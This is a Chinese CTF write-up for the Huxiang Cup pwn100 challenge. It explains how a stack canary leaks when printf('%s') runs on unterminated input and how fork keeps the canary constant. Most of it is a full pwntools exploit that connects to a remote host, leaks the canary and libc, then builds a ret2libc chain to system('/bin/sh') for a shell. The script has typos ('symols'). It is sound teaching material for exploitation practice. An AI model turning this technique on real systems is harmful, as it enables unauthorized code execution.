似粘还连,绵绵不绝——%s打印栈上数据时的canary泄露
湖湘杯的pwn100
一开始一顿操作猛如虎,其实是base64(因为有等号啊)
checksec一下发现开启了canary保护
emmmm,栈上的数据大概是这样:
| 输入数据 | . . . . . . . . . | canary | . . . | 返回地址 |
最后用printf("%s")打印输入数据的base64解码结果:
这里如果我们输入的数据正好和canary连起来的话,在打印结果的时候就会连带这canary的值一起打印出来。
由于canary的低位总是\x00,会把%s截断,所以我们的输入数据要一直覆盖到canary的低位
可是这样显然更改了canary,即便得到了canary,可是最后程序会检查canary会失败,无法进行下一步的利用。幸好程序里使用了fork,复制出了两个一模一样的进程,当前进程canary检查失败后可以接着从头开始执行另一个进程,而这个进程里的canary和之前我们泄露出的canary是一样的!
附上大佬的exp:
from pwn import *
from base64 import b64encode
e = ELF("./libc.so.6")
test = 'a'*4
p=process('./pwns')
p = remote('114.215.128.141', 10080)
p.sendline('Y')
p.recvuntil('datas')
payload = 'a'*0x102
p.sendline(b64encode(payload))
p.recvuntil('a'*0x102)
canary = u32(p.recv(3).ljust(4, '\0')) << 8
p.recv()
p.sendline('Y')
p.recvuntil('datas')
payload = 'a'*0x101 + p32(canary) + 'a'*0xc
p_r = p32(0x08048b27)
payload += p32(0x08048530) + p_r + p32(0x0804a014)
p.sendline(b64encode(payload))
p.recvuntil('a'*0x101 + '\n')
e_leak = u32(p.recv(4)) - e.symols['printf']
p.sendline('Y')
p.recvuntil('datas')
payload = 'a'*0x101 + p32(canary) + 'a'*0xc
p_r = p32(0x08048b27)
payload += p32(e_leak + e.symols['system']) + p_r + p32(e_leak + next(e.search('/bin/sh')))
p.sendline(b64encode(payload))
p.interactive()